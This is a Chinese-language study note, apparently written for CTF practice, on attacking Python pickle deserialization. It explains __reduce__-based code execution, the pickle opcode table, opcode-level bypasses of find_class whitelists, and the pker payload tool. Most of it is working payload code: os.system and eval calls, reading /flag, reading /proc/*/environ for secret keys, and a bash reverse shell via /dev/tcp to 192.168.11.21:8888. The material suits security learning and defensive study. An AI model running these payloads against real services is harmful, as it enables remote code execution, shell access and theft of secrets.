[toc]

参考http://blog.csdn.net/2401_86640358/article/details/141905074

https://xz.aliyun.com/news/7032#toc-11

https://xz.aliyun.com/news/6608#toc-5

是什么,怎么打

先看一个例子

import pickle
import os

class Test2(object):
    def __reduce__(self):
        #被调用函数的参数
        cmd = "/usr/bin/id" 
        return (os.system,(cmd,))

if __name__ == "__main__":
    test = Test2()
    #执行序列化操作
    result1 = pickle.dumps(test)
    #执行反序列化操作
    result2 = pickle.loads(result1)

image-20250918192219293

_reduce_函数在pickle反序列化中被自动调用,并根据它的return值执行代码,第一个参数是被调用函数,第二个参数是函数的参数

但要注意

os.system 调用系统命令,完成后退出,返回结果是命令执行状态,一般是0
os.popen() 无法读取程序执行的返回值

推荐

result = subprocess.run(['ls', '-l'], capture_output=True, text=True)

当然,也可以使用read函数读取结果

class A(object):
    def __reduce__(self):
        return (eval, ("__import__('os').popen('tac /flag').read()",))

可以通过读环境变量的形式拿到secret_key

/proc/self/environ  当前进程的环境变量   调试、确认自己运行环境
/proc/1/environ init/systemd(PID 1)的环境变量    查看系统启动时的全局环境,有时能获取系统信息或调试容器

opcode篇

高级玩法:使用opcode,因为reduce函数本质上其实是用的R指令,当R指令被禁用时,就需要用其他指令来绕过

  • pickle实际上可以看作一种独立的语言,通过对opcode的更改编写可以执行python代码、覆盖变量等操作。直接编写的opcode灵活性比使用pickle序列化生成的代码更高,有的代码不能通过pickle序列化得到(pickle解析能力大于pickle生成能力)。

当你在类里定义了 __reduce__

  • pickle 序列化时会在操作码流里生成一个 REDUCE 指令。
  • 反序列化时遇到 REDUCE,就会执行你提供的 (callable, args)执行函数,返回结果作为对象。

这也是 pickle RCE(远程代码执行) 的原理来源:
因为 REDUCE 操作码可以调用任意可调用对象。

image-20250918201542668

image-20250918201851280

| opcode | 描述 | 具体写法 | 栈上的变化 | memo上的变化 |
| —— | ———————————————————— | ————————————————– | ———————————————————— | ———— |
| c | 获取一个全局对象或import一个模块(注:会调用import语句,能够引入新的包) | c[module]\n[instance]\n | 获得的对象入栈 | 无 |
| o | 寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数(或实例化一个对象) | o | 这个过程中涉及到的数据都出栈,函数的返回值(或生成的对象)入栈 | 无 |
| i | 相当于c和o的组合,先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象) | i[module]\n[callable]\n | 这个过程中涉及到的数据都出栈,函数返回值(或生成的对象)入栈 | 无 |
| N | 实例化一个None | N | 获得的对象入栈 | 无 |
| S | 实例化一个字符串对象 | S'xxx'\n(也可以使用双引号、'等python字符串形式) | 获得的对象入栈 | 无 |
| V | 实例化一个UNICODE字符串对象 | Vxxx\n | 获得的对象入栈 | 无 |
| I | 实例化一个int对象 | Ixxx\n | 获得的对象入栈 | 无 |
| F | 实例化一个float对象 | Fx.x\n | 获得的对象入栈 | 无 |
| R | 选择栈上的第一个对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数 | R | 函数和参数出栈,函数的返回值入栈 | 无 |
| . | 程序结束,栈顶的一个元素作为pickle.loads()的返回值 | . | 无 | 无 |
| ( | 向栈中压入一个MARK标记 | ( | MARK标记入栈 | 无 |
| t | 寻找栈中的上一个MARK,并组合之间的数据为元组 | t | MARK标记以及被组合的数据出栈,获得的对象入栈 | 无 |
| ) | 向栈中直接压入一个空元组 | ) | 空元组入栈 | 无 |
| l | 寻找栈中的上一个MARK,并组合之间的数据为列表 | l | MARK标记以及被组合的数据出栈,获得的对象入栈 | 无 |
| ] | 向栈中直接压入一个空列表 | ] | 空列表入栈 | 无 |
| d | 寻找栈中的上一个MARK,并组合之间的数据为字典(数据必须有偶数个,即呈key-value对) | d | MARK标记以及被组合的数据出栈,获得的对象入栈 | 无 |
| } | 向栈中直接压入一个空字典 | } | 空字典入栈 | 无 |
| p | 将栈顶对象储存至memo_n | pn\n | 无 | 对象被储存 |
| g | 将memo_n的对象压栈 | gn\n | 对象被压栈 | 无 |
| 0 | 丢弃栈顶对象 | 0 | 栈顶对象被丢弃 | 无 |
| b | 使用栈中的第一个元素(储存多个属性名: 属性值的字典)对第二个元素(对象实例)进行属性设置 | b | 栈上第一个元素出栈 | 无 |
| s | 将栈的第一个和第二个对象作为key-value对,添加或更新到栈的第三个对象(必须为列表或字典,列表以数字作为key)中 | s | 第一、二个元素出栈,第三个元素(列表或字典)添加新值或被更新 | 无 |
| u | 寻找栈中的上一个MARK,组合之间的数据(数据必须有偶数个,即呈key-value对)并全部添加或更新到该MARK之前的一个元素(必须为字典)中 | u | MARK标记以及被组合的数据出栈,字典被更新 | 无 |
| a | 将栈的第一个元素append到第二个元素(列表)中 | a | 栈顶元素出栈,第二个元素(列表)被更新 | 无 |
| e | 寻找栈中的上一个MARK,组合之间的数据并extends到该MARK之前的一个元素(必须为列表)中 | e | MARK标记以及被组合的数据出栈,列表被更新 | 无 |

字节码的应用

全局变量覆盖

# secret.py
name='TEST3213qkfsmfo'
```
# main.py
import pickle
import secret

opcode='''c__main__
secret
(S'name'
S'1'
db.'''

print('before:',secret.name)

output=pickle.loads(opcode.encode())

print('output:',output)
print('after:',secret.name)

| 行 | 含义 |
| ———– | ———————————————————— |
| c__main__ | 指定模块名(protocol 0 的 GLOBAL 操作码)。 |
| secret | 指定全局对象名 secret。 |
| (S'name' | 压栈字符串 'name'。 |
| S'1' | 压栈字符串 '1'。 |
| d | DICT 指令:将栈顶两两弹出,生成一个字典 { 'name': '1' }。 |
| b | BUILD:把这个字典用来更新之前的对象(secret模块)。 |
| . | STOP:反序列化结束。 |

你写的顶层变量、函数、类都在 __main__ 命名空间下。如果在 __main__ 里 import 了 secret 模块,secret 就存在于 globals(),也能被 GLOBAL 找到。或者在sys.path里也能被global找到

sys.path 是 Python 内置模块 sys 的一个属性。

它是一个 列表 (list),里面存储了一系列 目录路径

当你用 import xxx 导入模块时,Python 会按顺序在这些目录里查找

函数执行相关的opcode

R

b'''cos
system
(S'whoami'
tR.'''

1️⃣ c os\nsystem\n

  • cGLOBAL 指令
  • 语法:c module\nname\n
  • 作用:从指定模块里取出一个全局对象。
  • os:模块名
  • system:模块里名为 system 的对象
  • 这一步得到的就是 os.system 函数对象。

2️⃣ (S'whoami'

  • (MARK(做一个栈标记,用来界定参数开始)
  • S'whoami'STRING 指令,表示字符串 "whoami"
  • 这一步把 "whoami" 压入栈。

3️⃣ t

  • tTUPLE 指令
  • 用 MARK 之后到栈顶的所有元素组成一个元组。
  • 这里就变成 ('whoami',)

4️⃣ R

  • RREDUCE 指令
  • 语法:R 把栈顶的 callable(可调用对象)和参数元组应用,调用后把返回值放回栈。
  • 这里就是调用 os.system('whoami')
  • 副作用:在反序列化时就会执行系统命令。

5️⃣ .

  • .STOP 指令,pickle 数据流结束。

i

b'''(S'whoami'
ios
system
.'''

o

b'''(cos
system
S'whoami'
o.'''

注意:pickle序列化的结果与操作系统有关,使用windows构建的payload可能不能在linux上运行

了解pickle.Unpickler.find_class()

由于官方针对pickle的安全问题的建议是修改find_class(),引入白名单的方式来解决,很多CTF题都是针对该函数进行,所以搞清楚如何绕过该函数很重要。

什么时候会调用find_class()

  1. 从opcode角度看,当出现cib'\x93'时,会调用,所以只要在这三个opcode直接引入模块时没有违反规则即可。
  2. 从python代码来看,find_class()只会在解析opcode时调用一次,所以只要绕过opcode执行过程,find_class()就不会再调用,也就是说find_class()只需要过一次,通过之后再产生的函数在黑名单中也不会拦截,所以可以通过__import__绕过一些黑名单。

以这个例子为例,只允许__main_模块,不难想到可以做一些变量覆盖

class RestrictedUnpickler(pickle.Unpickler):
    def find_class(self, module, name):
        if module == '__main__': # 只允许__main__模块
            return getattr(sys.modules['__main__'], name)
        raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))

运行调用builtins模块

builtins 就是 Python 的全局内置集合,包含了函数、类型和异常。平时我们直接用 len()int()print() 时,其实就是在用 builtins 里的对象。导入 builtins 可以让你在运行时查看、替换或恢复这些全局对象。

反弹shell的payload

b'''cos
system
(S"bash -c 'bash -i >& /dev/tcp/192.168.11.21/8888 0>&1'"
tR.
'''

pker的使用

https://github.com/eddieivan01/pker

system=GLOBAL('os', 'system')
system('bash -c "bash -i >& /dev/tcp/192.168.11.21/8888 0>&1"')
return

pker语法规则

以下module都可以是包含`.`的子module
调用函数时,注意传入的参数类型要和示例一致
对应的opcode会被生成,但并不与pker代码相互等价

GLOBAL
对应opcode:b'c'
获取module下的一个全局对象(没有import的也可以,比如下面的os):
GLOBAL('os', 'system')
输入:module,instance(callable、module都是instance)  

INST
对应opcode:b'i'
建立并入栈一个对象(可以执行一个函数):
INST('os', 'system', 'ls')  
输入:module,callable,para 

OBJ
对应opcode:b'o'
建立并入栈一个对象(传入的第一个参数为callable,可以执行一个函数)):
OBJ(GLOBAL('os', 'system'), 'ls') 
输入:callable,para

xxx(xx,...)
对应opcode:b'R'
使用参数xx调用函数xxx(先将函数入栈,再将参数入栈并调用)

li[0]=321
或
globals_dic['local_var']='hello'
对应opcode:b's'
更新列表或字典的某项的值

xx.attr=123
对应opcode:b'b'
对xx对象进行属性设置

return
对应opcode:b'0'
出栈(作为pickle.loads函数的返回值):
return xxx # 注意,一次只能返回一个对象或不返回对象(就算用逗号隔开,最后也只返回一个元组)

全局变量覆盖

secret=GLOBAL('__main__', 'secret') 
# python的执行文件被解析为__main__对象,secret在该对象从属下
secret.name='1'
secret.category='2'

覆盖secret类的属性

game = GLOBAL('guess_game', 'game')
game.curr_ticket = '123'

相当于from guess_name import game

函数执行

通过R调用

s='whoami'
system = GLOBAL('os', 'system')
system(s) # `b'R'`调用
return

通过i调用

INST('os', 'system', 'whoami')

通过c和o调用

OBJ(GLOBAL('os', 'system'), 'whoami')

多参数调用

INST('[module]', '[callable]'[, par0,par1...])
OBJ(GLOBAL('[module]', '[callable]')[, par0,par1...])

实例化对象

animal = INST('__main__', 'Animal','1','2')
return animal
# 或者
animal = OBJ(GLOBAL('__main__', 'Animal'), '1','2')
return animal

先实例化再赋值
animal = INST('__main__', 'Animal')
animal.name='1'
animal.category='2'
return animal

只允许使用一级子模块的绕过思路

不断将当前模块往后推,让它成为下一级子模块,再继续找下一级子模块,最终让允许的模块变成可以执行命令的模块

image-20250918215842746

心中无难事,只要肯放弃